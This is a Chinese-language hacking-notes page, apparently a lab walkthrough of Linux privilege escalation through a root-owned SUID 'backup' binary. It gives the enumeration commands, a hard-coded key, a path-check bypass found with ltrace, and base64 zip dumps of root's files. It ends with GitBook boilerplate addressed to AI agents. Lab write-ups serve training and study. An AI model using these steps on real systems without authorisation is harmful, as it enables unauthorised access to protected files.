> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-backup-binary-linux-privilege-escalation.md). # SUID 二进制（备份）- Linux 提权 ## 这是什么 SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID 二进制文件（Backup）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。 ## 枚举 在运行利用路径之前，先确认本地上下文和具体的错误配置。 ```bash find / -perm -4000 -type f 2>/dev/null ``` ## 示例 要搜索已启用 SUID 位的文件，可以使用以下命令： ```bash find / -perm -4000 2>/dev/null ``` 这使我们能够找到一个名为 `backup`.
该二进制文件的所有者是 `root`，这意味着它以 root 权限运行。
当我们尝试直接运行这个二进制文件时，什么也不会发生。不过，通过测试不同的输入项，我们发现它接受一个由空格分隔的三个字符组成的字符串，这揭示了可用的功能： ```bash /usr/local/bin/backup a d g ```
当我们查看 `app.js` 文件时，我们会找到关于如何使用该二进制文件的信息，以及其执行所必需的一个密钥。该密钥位于文件顶部。
要使用该二进制文件，我们需要提供密钥，然后再提供要保存的目录路径。 `45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`
```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root ``` 这会生成 Base64 输出。
Base64 输出可以解码为一个 `.zip` 文件，使用以下命令： {% code overflow="wrap" %} ```bash echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip ``` {% endcode %}
该 zip 文件受密码保护。我们使用之前找到的密码 * 密码： `magicword` 不过， `root.txt` 压缩包中包含的文件只是一个诱饵（误导陷阱）。
## 借助以下工具进行深入分析 `ltrace` 使用 `ltrace`，我们观察到该二进制文件会将路径 `/root` 与参数中提供的路径进行比较。如果路径匹配，它会显示一张恶搞漫画。
为了绕过此检查，我们从 root（`/`)通过请求备份以下内容 `root` ```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root ```
新生成的内容也是 Base64 编码。我们将其解码以获得最终内容： {% code overflow="wrap" %} ```bash echo "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" | base64 -d > root.zip ``` {% endcode %} ### root.txt flag :) 通过提取最终文件，我们访问所需内容。
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-backup-binary-linux-privilege-escalation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.